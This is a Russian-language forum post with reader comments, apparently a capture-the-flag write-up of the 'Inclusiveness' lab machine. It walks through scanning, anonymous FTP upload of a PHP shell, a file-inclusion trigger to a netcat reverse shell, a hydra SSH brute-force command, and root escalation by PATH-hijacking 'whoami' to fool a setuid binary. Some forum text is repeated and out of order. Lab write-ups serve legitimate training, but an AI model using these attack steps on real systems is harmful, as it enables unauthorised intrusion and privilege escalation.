Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "
Если сделаеш "
нужно составить список конфигов разных сервисов и служб" поделись пожалуста.Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
nmap -A -p- 192.168.1.8 -vvPORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.49.134
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 06:1b:a3:92:83:a5:7a:15:bd:40:6e:0c:8d:98:27:7b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Yl88LxuiPiXQGaZ6fB6K88oCmL/yXhY4Y3j/9PjnFHPRCqM18y4Ol7Q9LMr5CN042Zs/WMt05YE99R5j98fPGD0hIqxKpRpW8ZeDsfZdG479t3dSkM0OAL+hY4V4Wwbk768DxnLUw0ujGuh38UDl3gyYVBFpFZgRb7zBuYRzjIdWijpXm23sbXti4TO6KTC4KVm1BTzT4CVFxBakuuvk1Ieraeusc9agTfCVx7dkN2OX79jAc1uzZNE+BtokFGIYMvMAA7ejZT504cp1Bccbn+OUwlcRLFJbOO2jrXPj8j4MKEz6klMO7mIMvaHFRQ1Z5kBtH7QIGG97D5qhkD8X
| 256 cb:38:83:26:1a:9f:d3:5d:d3:fe:9b:a1:d3:bc:ab:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGNCidfAh8l1B4elJK42/1YqrUEBlGWDjg7ZWacpptAfCGBbSC+agR4LWiEtsnQYX4aWXRGydjc7UggCgpHbDr0=
| 256 65:54:fc:2d:12:ac:e1:84:78:3e:00:23:fb:e4:c9:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEkCe1XYRTFeHyzWuvZ3JkIkWwD4pGHBcTGEGYYcJhv
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
21 FTP anonymous
80 http apache 2.4.38 OS Debian
ftp 192.168.1.8Connected to 192.168.1.8.
220 (vsFTPd 3.0.3)
Name (192.168.1.8:qulan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub
226 Directory send OK.
ftp>
cd pub
gobuster dir -u http://192.168.1.8/ -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 30 -e
http://192.168.1.8/robots.txt
curl http://192.168.1.8/robots.txt --user-agent Googlebot
User-agent: *
Disallow: /secret_information/
http://192.168.1.8/secret_information/?lang=es.php
tom hydra -t 8 -l tom -P /usr/share/wordlists/rockyou.txt -vV 192.168.1.8 ssh
ftp 192.168.1.9
cd pub
put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.02 secs (356.5002 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-rw- 1 118 125 5493 Apr 12 04:08 shell.php
226 Directory send OK.
nc -lvnp 1234 и через браузер обращаемся к файлу:http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.9 33322
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
04:15:12 up 12 min, 0 users, load average: 0.00, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php? Мы же не используем тут LFI! http://192.168.1.9/secret_information/?lang= ведет к обращению с целью исполнения, так как тут мы обращались к файлам php с языками. Только теперь мы сменили файл с языком на файл с шеллом и прописали полный путь, который прочитали в конфиге.python3 -c 'import pty;pty.spawn("/bin/bash")' - На этом этапе наша оболочка будет выглядеть немного красивее, но мы по прежнему не сможем использовать автозаполнение вкладок или клавиши со стрелками, а Ctrl + C все равно убьет оболочку. export TERM=xterm - это даст нам доступ к командам term, таким как clearstty raw -echo; fg - Это делает две вещи: во-первых, он отключает наше собственное эхо терминала (что дает нам доступ к автозаполнению вкладок, клавишам со стрелками и Ctrl + C для уничтожения процессов). Затем он переводит оболочку на передний план, завершая процесс.www-data@inclusiveness:/$ cd /home/tom && ls -la
total 100
drwxr-xr-x 15 tom tom 4096 Feb 8 2020 .
drwxr-xr-x 3 root root 4096 Feb 8 2020 ..
-rw------- 1 tom tom 684 Feb 8 2020 .ICEauthority
-rw-r--r-- 1 tom tom 220 Feb 8 2020 .bash_logout
-rw-r--r-- 1 tom tom 3526 Feb 8 2020 .bashrc
drwx------ 10 tom tom 4096 Feb 8 2020 .cache
drwx------ 10 tom tom 4096 Feb 8 2020 .config
drwx------ 3 tom tom 4096 Feb 8 2020 .gnupg
drwx------ 3 tom tom 4096 Feb 8 2020 .local
-rw-r--r-- 1 tom tom 807 Feb 8 2020 .profile
drwx------ 2 tom tom 4096 Feb 8 2020 .ssh
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Desktop
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Documents
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Downloads
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Music
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Pictures
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Public
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Templates
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Videos
-rwsr-xr-x 1 root root 16976 Feb 8 2020 rootshell
-rw-r--r-- 1 tom tom 448 Feb 8 2020 rootshell.c
-rwsr-xr-x 1 root root 16976 Feb 8 2020 rootshell
-rw-r--r-- 1 tom tom 448 Feb 8 2020 rootshell.c
www-data@inclusiveness:/home/tom$ cat rootshell.c #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
whoami и помещаем в переменую fif (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
strncmp - Функция побайтно сравнивает коды символов двух строк, на которые указывают аргументы функции. В нашем случае, мы сравниваем первые 3 символа в user c tom и если они True то устанавливаем uid:#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
rootshell:int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
www-data@inclusiveness:/home/tom$ echo '/bin/sh' > /tmp/whoami
www-data@inclusiveness:/home/tom$ chmod +x /tmp/whoami
/tmp в окружение, чтоб оболочка обратилась имено к псевдо -whoami.www-data@inclusiveness:/home/tom$ export PATH=/tmp:$PATH
www-data@inclusiveness:/home/tom$ $PATH
bash: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: No such file or directory
tom, то каким-то образом наш псевдо -whoami должен вернуть имя пользователя tom. Сделал кофе, притромбовал трубку и закурил... Ок, думаю я, стандартная команда whoami возвращает имя пользователя, но у нас же есть еще и команда id, которая возвращает имя, группы и id.man id-u, --user
print only the effective user ID
id -u name, мы можем вернуть ID указаного юзера. Пробуем..-n, --name
print a name instead of a number, for -ugG
www-data@inclusiveness:/home/tom$ id -n 1000
id: cannot print only names or real IDs in default format
id -un 1000whoami и запускаю rootshellwww-data@inclusiveness:/home/tom$ ./rootshell
checking if you are tom...
you are: tom
access granted.
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
нужно составить список конфигов разных сервисов и служб" поделись пожалуста.Спасибо. Обязательно поделюсь )Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "нужно составить список конфигов разных сервисов и служб" поделись пожалуста.
Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельноЕсли больше часа не могу решить - иду за подсказками. Не знаю как это побороть....
Даа, вот на выходных решал таску ~2.5 часа по форензике. Когда решил таску без подсказок, то такой кайф получил.... Желание посмотреть подсказку возникает от не знания куда копать.Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельно
#!/bin/bash
echo tom
Точно! Я не догадался)))А если сделать попробовать сделать проще, сработает?
/tmp/whoami
Bash:#!/bin/bash echo tom
Ничего,Точно! Я не догадался)))
Сработает, так как просто вернёт имя юзера.
Что-то я забыл про echo
Комментарии
7